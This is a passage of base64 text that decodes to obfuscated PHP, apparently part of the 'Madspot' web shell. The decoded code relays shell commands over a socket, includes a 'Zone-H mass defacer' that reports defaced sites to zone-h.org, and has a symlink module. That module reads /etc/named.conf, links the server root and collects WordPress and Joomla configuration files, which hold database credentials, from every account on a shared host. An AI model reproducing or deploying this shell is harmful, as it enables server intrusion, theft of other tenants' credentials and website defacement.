GNoM25rX3M0ejUpOw0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTT0NLOiAkNG5wM3Q8YnI+IjsNCgkJZndyNHQ1KCRwNHA1c1swXSwgJDRucDN0KTsNCgl9DQoNCgk0ZiAoNG5fMXJyMXkoJHA0cDVzWzZdLCAkcjUxZF8xKSkgew0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTVERPVVQgUkVBRDxicj4iOw0KCQkkNG5wM3QgPSBmcjUxZCgkcDRwNXNbNl0sICRjaDNua19zNHo1KTsNCgkJNGYgKCRkNWIzZykgNWNoMiAiU1RET1VUOiAkNG5wM3Q8YnI+IjsNCgkJZndyNHQ1KCRzMmNrLCAkNG5wM3QpOw0KCX0NCg0KCQ0KCTRmICg0bl8xcnIxeSgkcDRwNXNbYV0sICRyNTFkXzEpKSB7DQoJCTRmICgkZDViM2cpIDVjaDIgIlNUREVSUiBSRUFEPGJyPiI7DQoJCSQ0bnAzdCA9IGZyNTFkKCRwNHA1c1thXSwgJGNoM25rX3M0ejUpOw0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTVERFUlI6ICQ0bnAzdDxicj4iOw0KCQlmd3I0dDUoJHMyY2ssICQ0bnAzdCk7DQoJfQ0KfQ0KDQpmY2wyczUoJHMyY2spOw0KZmNsMnM1KCRwNHA1c1swXSk7DQpmY2wyczUoJHA0cDVzWzZdKTsNCmZjbDJzNSgkcDRwNXNbYV0pOw0KcHIyY19jbDJzNSgkcHIyYzVzcyk7DQoNCjVjaDIgIjwvcHI1PiI7DQp9DQoNCn0gICANCiA1Y2gyICI8L2Q0dj4iOw0KIG0xZGYyMnQ1cigpOw0KfQ0KZjNuY3Q0Mm4gWjJuNUgoJDNybCwgJGgxY2s1ciwgJGgxY2ttMmQ1LCRyNXMybiwgJHM0dDUgKQ0Kew0KCSRrID0gYzNybF80bjR0KCk7DQoJYzNybF9zNXQycHQoJGssIENVUkxPUFRfVVJMLCAkM3JsKTsNCgljM3JsX3M1dDJwdCgkayxDVVJMT1BUX1BPU1QsdHIzNSk7DQoJYzNybF9zNXQycHQoJGssIENVUkxPUFRfUE9TVEZJRUxEUywiZDVmMWM1cj0iLiRoMWNrNXIuIiZkMm0xNG42PSIuICRzNHQ1LiImaDFja20yZDU9Ii4kaDFja20yZDUuIiZyNTFzMm49Ii4kcjVzMm4pOw0KCWMzcmxfczV0MnB0KCRrLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRyMzUpOw0KCWMzcmxfczV0MnB0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cjM1KTsNCgkkazNicjEgPSBjM3JsXzV4NWMoJGspOw0KCWMzcmxfY2wyczUoJGspOw0KCXI1dDNybiAkazNicjE7DQp9DQpmM25jdDQybiBtMWR6Mm41aCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpKQ0KICAgIHsNCiAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDYgc3R5bDU9J20xcmc0bi10MnA6aXB4Jz48YzVudDVyPjxmMm50IGMybDJyPXI1ZD5QSFAgQ1VSTCBOT1QgRVhJVDwvZjJudD48L2M1bnQ1cj48L3ByNT4iOw0KICAgIH0NCiAgICA1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPjxicj4iOw0KICAgIDVjaDIgJzxobz48c3Axbj58Wk9ORS1IIE1BU1MgREVGQUNFUiB8PC9zcDFuPjwvaG8+DQogICAgPGYycm0gIDJuUzNibTR0PSJnKG4zbGwsbjNsbCx0aDRzLmQ1ZjFjNXIudjFsMzUsdGg0cy5oMWNrbTJkNS52MWwzNSx0aDRzLmQybTE0bi52MWwzNSk7cjV0M3JuIGYxbHM1OyIgPg0KICAgIDxzcDFuPnwgTjJ0NGY0NXIgfDwvc3Axbj48YnI+DQo8NG5wM3QgdHlwNT0idDV4dCIgbjFtNT1kNWYxYzVyIHM0ejU9InUwIiB2MWwzNT0iQXR0MWNrNXIiIC8+PGJyPg0KPHM1bDVjdCBuMW01PWgxY2ttMmQ1Pg0KPDJwdDQybiA+LS0tLS0tLS1TRUxFQ1QtLS0tLS0tLTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNiI+a24yd24gdjNsbjVyMWI0bDR0eSAoNC41LiAzbnAxdGNoNWQgc3lzdDVtKTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYSIgPjNuZDRzY2wyczVkIChuNXcpIHYzbG41cjFiNGw0dHk8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9Im8iID5jMm5mNGczcjF0NDJuIC8gMWRtNG4uIG00c3QxazU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9InUiID5icjN0NSBmMnJjNSAxdHQxY2s8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImkiID5zMmM0MWwgNW5nNG41NXI0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImUiID5XNWIgUzVydjVyIDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNyIgPlc1YiBTNXJ2NXIgNXh0NXJuMWwgbTJkM2w1IDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iOCIgPk0xNGwgUzVydjVyIDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iOSIgPkZUUCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2MCIgPlNTSCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2NiIgPlQ1bG41dCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2YSIgPlJQQyBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2byIgPlNoMXI1cyBtNHNjMm5mNGczcjF0NDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2dSIgPk90aDVyIFM1cnY1ciA0bnRyM3M0Mm48LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjZpIiA+U1FMIEluajVjdDQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNmUiID5VUkwgUDI0czJuNG5nPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2NyIgPkY0bDUgSW5jbDNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2OCIgPk90aDVyIFc1YiBBcHBsNGMxdDQybiBiM2c8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjY5IiA+UjVtMnQ1IDFkbTRuNHN0cjF0NHY1IHAxbjVsIDFjYzVzcyBicjN0NWYycmM0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImEwIiA+UjVtMnQ1IDFkbTRuNHN0cjF0NHY1IHAxbjVsIDFjYzVzcyBwMXNzdzJyZCBnMzVzczRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTYiID5SNW0ydDUgMWRtNG40c3RyMXQ0djUgcDFuNWwgMWNjNXNzIHMyYzQxbCA1bmc0bjU1cjRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYWEiID5BdHQxY2sgMWcxNG5zdCAxZG00bjRzdHIxdDJyKHAxc3N3MnJkIHN0NTFsNG5nL3NuNGZmNG5nKTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYW8iID5BY2M1c3MgY3I1ZDVudDQxbHMgdGhyMjNnaCBNMW4gSW4gdGg1IE00ZGRsNSAxdHQxY2s8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImF1IiA+UjVtMnQ1IHM1cnY0YzUgcDFzc3cycmQgZzM1c3M0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImFpIiA+UjVtMnQ1IHM1cnY0YzUgcDFzc3cycmQgYnIzdDVmMnJjNTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYWUiID5SNXIyM3Q0bmcgMWZ0NXIgMXR0MWNrNG5nIHRoNSBGNHI1dzFsbDwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTciID5SNXIyM3Q0bmcgMWZ0NXIgMXR0MWNrNG5nIHRoNSBSMjN0NXI8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImE4IiA+RE5TIDF0dDFjayB0aHIyM2doIHMyYzQxbCA1bmc0bjU1cjRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTkiID5ETlMgMXR0MWNrIHRocjIzZ2ggYzFjaDUgcDI0czJuNG5nPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJvMCIgPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwvczVsNWN0Pjxicj4NCjxzNWw1Y3QgID4NCjwycHQ0Mm4gPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjYiID5INWguLi5qM3N0IGYyciBmM24hPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJhIiA+UjV2NW5nNSAxZzE0bnN0IHRoMXQgdzViczR0NTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0ibyIgPlAybDR0NGMxbCByNTFzMm5zPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJ1IiA+QXMgMSBjaDFsbDVuZzU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImkiID5JIGozc3QgdzFudCB0MiBiNSB0aDUgYjVzdCBkNWYxYzVyPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJlIiA+UDF0cjQydDRzbTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNyIgPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwvczVsNWN0Pjxicj4NCjx0NXh0MXI1MSBuMW01PWQybTE0biBjMmxzPSJpMCIgcjJ3cz0iNmkiPkw0c3QgT2YgRDJtMTRuczwvdDV4dDFyNTE+DQo8YnI+DQo8NG5wM3QgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iIC8+PC9mMnJtPic7DQo0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmIDRzczV0KCRfUE9TVFsncGEnXSkpDQp7DQogICAgJGgxY2s1ciA9JF9QT1NUWydwNiddOw0KICAgICRtNXRoMmQgPSRfUE9TVFsncGEnXTsNCiAgICAkbjVkNW4gPSJOMnQgMXYxNGwxYmw1IjsNCiAgICAkczR0NSA9JF9QT1NUWydwbyddOw0KICAgJDQgPSAwOw0KICAgJHM0dDVzID0gNXhwbDJkNSgiXG4iLCAkczR0NSk7DQogICA1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiI7DQoJd2g0bDUoJDQgPCBjMjNudCgkczR0NXMpKSANCgl7DQoJNGYoczNic3RyKCRzNHQ1c1skNF0sIDAsIHUpICE9ICJodHRwIikgDQoJew0KCQkJJHM0dDVzWyQ0XSA9ICJodHRwOi8vIi4kczR0NXNbJDRdOw0KCX0NCglaMm41SCgiaHR0cDovL3oybjUtaC4ycmcvbjJ0NGZ5L3M0bmdsNSIsICRoMWNrNXIsICRtNXRoMmQsICRuNWQ1biwgJHM0dDVzWyQ0XSk7DQoJNWNoMiAiUzR0NSA6ICIuJHM0dDVzWyQ0XS4iIEQ1ZjFjNWQgITxicj4iOw0KCSsrJDQ7DQoJfQ0KICAgICANCiAgICAiUzVuZDRuZyBTNHQ1cyBUMiBaMm41LUggSDFzIEI1NW4gQzJtcGw1dDVkIFMzY2M1c3NmM2xseSAhISA8L3ByNT4iOw0KfQ0KNWNoMiAiPC9kNHY+IjsNCm0xZGYyMnQ1cigpOw0KICAgIA0KfQ0KZjNuY3Q0Mm4gbTFkc3AydCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDVjaDIgIjxkNHYgY2wxc3M9aDUxZDVyPiI7DQogICAgNWNoMiAiPHByNT4NCiAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHxgLTpfDQogICwtLS0tLi4uLl9fX18gICAgICAgICAgICB8ICAgIGArLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogKCAgICAgICAgICAgICBgYGBgLS0tLS4uLi58X19fICAgfA0KICBcICAgICBfICAgICAgICAgICAgICAgICAgICAgIGBgYGAtLS0tLi4uLl9fX18NCiAgIFwgICAgXykgIEMyZDVkIEJ5OiBJa3IxbSBBbDQgICAgICAgICAgICAgICAgYGBgLS0tLi5fICAgICAgICAgICAgICAgICAgICAgICANCiAgICBcICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCANCiAgKWAuXCAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWhoDQotJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGANCiAgIE0xZHNwMnQgNHMgMSBUNTFtIDJmIHByMmY1c3M0Mm4xbCBFdGg0YzFsIEgxY2s1cnMgRnIybSBQMWs0c3Qxbi4NCiAgIFc1IGgxdjUgWTUxcnMgMmYgIEV4cDVyNDVuYzUgNG4gIFM1YzNyNHR5LCBQNW41dHIxdDQybiAmIEMyZDRuZyANCiAgIEFuZCBjMW4gQnI1MWsgMW5kIFM1YzNyNS4NCiAgIA0KICAgVjVyczQybiA2LjANCiAgIA0KICAgQzJudDFjdCA6IGh0dHA6Ly93d3cubTFkc3AydC5uNXQNCiAgIA0KICAgNGYgeTIzIGYyM25kIGIzZyBjMm50MWN0IDIzciB0NTFtIA0KICAgDQogICANCg0KDQogICAgICAgICAgICAgIC49Jyc9LiAgICAgICAgICAgICANCiAgICAgICAgICAgICAvIF8gIF8gXA0KICAgICAgICAgICAgfCAgZCAgYiAgfA0KICAgICAgICAgICAgXCAgIC9cICAgLyANCiAgICAgICAgICAgLC8nLT1cLz0tJ1wsDQogICAgICAgICAgLyAvICAgICAgICBcIFwgICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICB8IC8gWjFoNGQgICAgXCB8ICAgIE0xZHNwMnQgRDRnNHQxbCBTNWMzcjR0eSBUNTFtDQogICAgICAgICBcLyBcIFIxc2g1NWQvIFwvICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICAgICAgJy4gICAgLicNCiAgICAgICAgICAgICBffGB+fmB8Xw0KICAgICAgICAgICAgIC98XCAgL3xcICAgIA0KCQ0KICAgICAgIC4tIDxPPiAtLiAgICAgICAgLi09PT09LS4gICAgICAsLS0tLS0tLS4gICAgICAuLT08Pj0tLg0KICAgL18tXCcnJy8tX1wgICAgICAvIC8gJycgXCBcICAgICB8LC0tLS0tLnwgICAgIC9fXy0tLS1fX1wNCiAgfC8gIDIpICgyICBcfCAgICB8IHwgJykoJyB8IHwgICAvLCctLS0tLScuXCAgIHwvICgnKSgnKSBcfA0KICAgXCAgIC5fLiAgIC8gICAgICBcIFwgICAgLyAvICAge18vKCcpICgnKVxffSAgIFwgICBfXyAgIC8NCiAgICw+LV8sLCxfLTwuICAgICAgID4nPWpmPSc8ICAgICBgLiAgIF8gICAuJyAgICAsJy0tX18tLScuDQogLyBXMXExci5LaDFuICBcICAgIC8gICAgICAgIFwgICAgIC8nLV9fXy0nXCAgICAvICAgIDp8ICAgIFwNCihfKSAgICAgLiAgICAgKF8pICAvICBJa3IxbSAgIFwgICAvIE0tVXNtMW4gXCAgKF8pICAgOnwgICAoXykNCiBcXy0tLS0tJ19fX18tLS8gIChfKSAgQWw0ICAgKF8pIChfKV9fX19fX18oXykgICB8X19fOnxfX19ffA0KICBcX19fX19fX19fX18vICAgICB8X19fX19fX198ICAgICBcX19fX19fXy8gICAgIHwgQWZyMXM0MWJ8DQoNCg0KCQ0KICANCiAgDQogICAgPC9wcjU+PC9kNHY+IjsNCiAgICBtMWRmMjJ0NXIoKTsNCiAgICANCiAgICB9DQogICAgDQpmM25jdDQybiBtMWRzeW1sNG5rKCkNCnsNCiAgICBtMWRoNTFkKCk7DQogICAgDQokSUlJSUlJSUlJSUlsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJElJSUlJSUlJSUlJNj01eHBsMmQ1KCcvJywkSUlJSUlJSUlJSUlsICk7DQokSUlJSUlJSUlJSUlsID1zdHJfcjVwbDFjNSgkSUlJSUlJSUlJSUk2W2MyM250KCRJSUlJSUlJSUlJSTYpLTZdLCcnLCRJSUlJSUlJSUlJSWwgKTsgIA0KICAgIA0KICAgIA0KICAgIA0KDQogICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pjxicj48YzVudDVyPjxobz48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ3N5bWw0bmtcJyxuM2xsLFwndzViczR0NVwnLG4zbGwpIj58IEQybTE0bnMgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdzeW1sNG5rXCcsbjNsbCxuM2xsLFwnd2gybDVcJykiPnwgV2gybDUgUzVydjVyIFN5bWw0bmsgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdzeW1sNG5rXCcsbjNsbCxuM2xsLG4zbGwsXCdjMm5mNGdcJykiPnwgQzJuZjRnIFBIUCBzeW1sNG5rIHwgPC8xPjwvaG8+PC9jNW50NXI+JzsNCiAgICANCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmICRfUE9TVFsncDYnXT09J3c1YnM0dDUnKQ0KICAgIHsNCiAgICAgICAgNWNoMiAiPGM1bnQ1cj4iOw0KICAgICAgICAkZDBtMTRucyA9IEBmNGw1KCIvNXRjL24xbTVkLmMybmYiKTsNCiAgICAgICAgNGYoISRkMG0xNG5zKXsgNWNoMiAiPHByNSBjbDFzcz1tbDYgc3R5bDU9J20xcmc0bi10MnA6aXB4Jz5DMW50IDFjYzVzcyB0aDRzIGY0bDUgMm4gczVydjVyIC0+IFsgLzV0Yy9uMW01ZC5jMm5mIF08L3ByNT48L2M1bnQ1cj4iOyB9DQoNCiANCg0KNWNoMiAiPHQxYmw1IDFsNGduPWM1bnQ1ciBjbDFzcz0nbTE0bicgIGIycmQ1cj0wICA+DQoNCjx0ciBiZ2MybDJyPVI1ZD48dGQ+QzIzbnQ8L3RkPjx0ZD5kMm0xNG5zPC90ZD48dGQ+M3M1cnM8L3RkPjwvdHI+IjsNCiRjMjNudD02Ow0KZjJyNTFjaCgkZDBtMTRucyAxcyAkZDBtMTRuKXsNCg0KNGYoQDVyNWc0KCJ6Mm41IiwkZDBtMTRuKSl7DQoNCnByNWdfbTF0Y2hfMWxsKCcjejJuNSAiKC4qKSIjJywgJGQwbTE0biwgJGQybTE0bnMpOw0KDQpmbDNzaCgpOw0KDQo0ZihzdHJsNW4odHI0bSgkZDJtMTRuc1s2XVswXSkpID4gYSl7DQoNCiQzczVyID0gcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigiLzV0Yy92MWw0MXM1cy8iLiRkMm0xNG5zWzZdWzBdKSk7DQoNCjVjaDIgIjx0cj48dGQ+Ii4kYzIzbnQuIjwvdGQ+PHRkPjwxIGhyNWY9aHR0cDovL3d3dy4iLiRkMm0xNG5zWzZdWzBdLiIvPiIuJGQybTE0bnNbNl1bMF0uIjwvMT48L3RkPjx0ZD4iLiQzczVyWyduMW01J10uIjwvdGQ+PC90cj4iOyBmbDNzaCgpOw0KJGMyM250Kys7DQp9fX0NCjVjaDIgIjwvYzVudDVyPjwvdDFibDU+IjsgDQogfQ0KIA0KIDRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgJF9QT1NUWydwYSddPT0nd2gybDUnKQ0KIHsNCiAgICANCiAgICANCiAgICBAczV0X3Q0bTVfbDRtNHQoMCk7DQogICAgDQogICAgNWNoMiAiPGM1bnQ1cj4iOw0KICAgIA0KICANCiAgICAgICAgDQpAbWtkNHIoJ3N5bScsMDc3Nyk7DQokSUlJSUlJSUlJSWw2ICA9ICJPcHQ0Mm5zIDFsbCBcbiBENHI1Y3QycnlJbmQ1eCBTM3guaHRtbCBcbiBBZGRUeXA1IHQ1eHQvcGwxNG4gLnBocCBcbiBBZGRIMW5kbDVyIHM1cnY1ci1wMXJzNWQgLnBocCBcbiAgQWRkVHlwNSB0NXh0L3BsMTRuIC5odG1sIFxuIEFkZEgxbmRsNXIgdHh0IC5odG1sIFxuIFI1cTM0cjUgTjJuNSBcbiBTMXQ0c2Z5IEFueSI7DQokSUlJSUlJSUlJSTZJID1AZjJwNW4gKCdzeW0vLmh0MWNjNXNzJywndycpOw0KZndyNHQ1KCRJSUlJSUlJSUlJNkkgLCRJSUlJSUlJSUlJbDYpOw0KQHN5bWw0bmsoJy8nLCdzeW0vcjIydCcpOw0KJElJSUlJSUlJSWxJbCA9IGIxczVuMW01KCdfRklMRV8nKTsNCiAgICANCiAgICANCiRJSUlJSUlJSUlsbEkgPSBAZjRsNSgnLzV0Yy9uMW01ZC5jMm5mJyk7DQo0ZighJElJSUlJSUlJSWxsSSkNCnsNCjVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+IyBDMW50IDFjYzVzcyB0aDRzIGY0bDUgMm4gczVydjVyIC0+IFsgLzV0Yy9uMW01ZC5jMm5mIF08L3ByNT48L2M1bnQ1cj4iOyANCn0NCjVsczUNCnsNCjVjaDIgIjx0MWJsNSAxbDRnbj0nYzVudDVyJyB3NGR0aD0ndTAlJyBjbDFzcz0nbTE0bic+PHRkPkQybTE0bnM8L3RkPjx0ZD5VczVyczwvdGQ+PHRkPnN5bWw0bmsgPC90ZD4iOw0KZjJyNTFjaCgkSUlJSUlJSUlJbGxJIDFzICRJSUlJSUlJSUlsbDYpew0KNGYoQDVyNWc0KCd6Mm41JywkSUlJSUlJSUlJbGw2KSl7DQpwcjVnX20xdGNoXzFsbCgnI3oybjUgIiguKikiIycsJElJSUlJSUlJSWxsNiwkSUlJSUlJSUlJbDY2KTsNCmZsM3NoKCk7DQo0ZihzdHJsNW4odHI0bSgkSUlJSUlJSUlJbDY2WzZdWzBdKSkgPmEpew0KJElJSUlJSUlJSTZJNiA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJy81dGMvdjFsNDFzNXMvJy4kSUlJSUlJSUlJbDY2WzZdWzBdKSk7DQokSUlJSUlJSUk2STZsID0gJElJSUlJSUlJSTZJNlsnbjFtNSddIDsNCkBzeW1sNG5rKCcvJywnc3ltL3IyMnQnKTsNCiRJSUlJSUlJSTZJNmwgPSAkSUlJSUlJSUlJbDY2WzZdWzBdOw0KJElJSUlJSUlJNkk2NiA9ICdcLjRyJzsNCiRJSUlJSUlJSTZsSUkgPSAnXC40bCc7DQo0ZiAoQDVyNWc0KCIkSUlJSUlJSUk2STY2IiwkSUlJSUlJSUlJbDY2WzZdWzBdKSAyciBANXI1ZzQoIiRJSUlJSUlJSTZsSUkiLCRJSUlJSUlJSUlsNjZbNl1bMF0pICkNCnsNCiRJSUlJSUlJSTZJNmwgPSAiPGQ0diBzdHlsNT0nIGMybDJyOiAjRkYwMDAwIDsgdDV4dC1zaDFkMnc6IDBweCAwcHggNnB4IHI1ZDsgJz4iLiRJSUlJSUlJSUlsNjZbNl1bMF0uJzwvZDR2Pic7DQp9DQo1Y2gyICINCjx0cj4NCg0KPHRkPg0KPDEgdDFyZzV0PSdfYmwxbmsnIGhyNWY9aHR0cDovL3d3dy4iLiRJSUlJSUlJSUlsNjZbNl1bMF0uJy8+Jy4kSUlJSUlJSUk2STZsLicgPC8xPg0KPC90ZD4NCg0KPHRkPg0KJy4kSUlJSUlJSUlJNkk2WyduMW01J10uIg0KPC90ZD4NCg0KPHRkPg0KPDEgaHI1Zj0nc3ltL3IyMnQvaDJtNS8iLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4iL3AzYmw0Y19odG1sJyB0MXJnNXQ9J19ibDFuayc+c3ltbDRuayA8LzE+DQo8L3RkPg0KDQoNCjwvdHI+IjsNCmZsM3NoKCk7DQp9DQp9DQp9DQp9DQogICAgDQo1Y2gyICI8L2M1bnQ1cj48L3QxYmw1PiI7ICAgIA0KICAgIA0KIH0NCiANCiANCiANCiA0Zig0c3M1dCgkX1BPU1RbJ3BvJ10pICYmICRfUE9TVFsncG8nXT09J2MybmY0ZycpDQogDQogDQogew0KICA1Y2gyICI8YzVudDVyPiI7DQpAbWtkNHIoJ3N5bScsMDc3Nyk7DQokSUlJSUlJSUlJSWw2ICA9ICJPcHQ0Mm5zIDFsbCBcbiBENHI1Y3QycnlJbmQ1eCBTM3guaHRtbCBcbiBBZGRUeXA1IHQ1eHQvcGwxNG4gLnBocCBcbiBBZGRIMW5kbDVyIHM1cnY1ci1wMXJzNWQgLnBocCBcbiAgQWRkVHlwNSB0NXh0L3BsMTRuIC5odG1sIFxuIEFkZEgxbmRsNXIgdHh0IC5odG1sIFxuIFI1cTM0cjUgTjJuNSBcbiBTMXQ0c2Z5IEFueSI7DQokSUlJSUlJSUlJSTZJID1AZjJwNW4gKCdzeW0vLmh0MWNjNXNzJywndycpOw0KQGZ3cjR0NSgkSUlJSUlJSUlJSTZJICwkSUlJSUlJSUlJSWw2KTsNCkBzeW1sNG5rKCcvJywnc3ltL3IyMnQnKTsNCiRJSUlJSUlJSUlsSWwgPSBiMXM1bjFtNSgnX0ZJTEVfJyk7DQogIA0KICAgDQogICAkSUlJSUlJSUlJbGxJID0gQGY0bDUoJy81dGMvbjFtNWQuYzJuZicpOw0KNGYoISRJSUlJSUlJSUlsbEkpDQp7DQo1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiMgQzFudCAxY2M1c3MgdGg0cyBmNGw1IDJuIHM1cnY1ciAtPiBbIC81dGMvbjFtNWQuYzJuZiBdPC9wcjU+PC9jNW50NXI+IjsNCn0NCjVsczUNCnsNCjVjaDIgIg0KPHQxYmw1IDFsNGduPSdjNW50NXInIHc0ZHRoPSd1MCUnIGNsMXNzPSdtMTRuJyA+PHRkPiBEMm0xNG5zIDwvdGQ+PHRkPiBTY3I0cHQgPC90ZD4iOw0KZjJyNTFjaCgkSUlJSUlJSUlJbGxJIDFzICRJSUlJSUlJSUlsbDYpew0KNGYoQDVyNWc0KCd6Mm41JywkSUlJSUlJSUlJbGw2KSl7DQpwcjVnX20xdGNoXzFsbCgnI3oybjUgIiguKikiIycsJElJSUlJSUlJSWxsNiwkSUlJSUlJSUlJbDY2KTsNCmZsM3NoKCk7DQo0ZihzdHJsNW4odHI0bSgkSUlJSUlJSUlJbDY2WzZdWzBdKSkgPmEpew0KJElJSUlJSUlJSTZJNiA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJy81dGMvdjFsNDFzNXMvJy4kSUlJSUlJSUlJbDY2WzZdWzBdKSk7DQokSUlJSUlJSUlJNmw2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvd3AtYzJuZjRnLnBocCc7DQokSUlJSUlJSUlJNjZJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSUk2bDYpOw0KJElJSUlJSUlJSTY2bD0kSUlJSUlJSUlJNjZJWzBdOw0KJElJSUlJSUlJSTY2Nj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2JsMmcvd3AtYzJuZjRnLnBocCc7DQokSUlJSUlJSUlsSUlJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSUk2NjYpOw0KJElJSUlJSUlJbElJbD0kSUlJSUlJSUlsSUlJWzBdOw0KJElJSUlJSUlJbElJNj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWxJbEk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbElJNik7DQokSUlJSUlJSUlsSWxsPSRJSUlJSUlJSWxJbElbMF07DQokSUlJSUlJSUlsSWw2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvajIybWwxL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWxJNkk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbElsNik7DQokSUlJSUlJSUlsSTZsPSRJSUlJSUlJSWxJNklbMF07DQokSUlJSUlJSUlsSTY2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvNG5jbDNkNXMvYzJuZjRnLnBocCc7DQokSUlJSUlJSUlsbElJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSWxJNjYpOw0KJElJSUlJS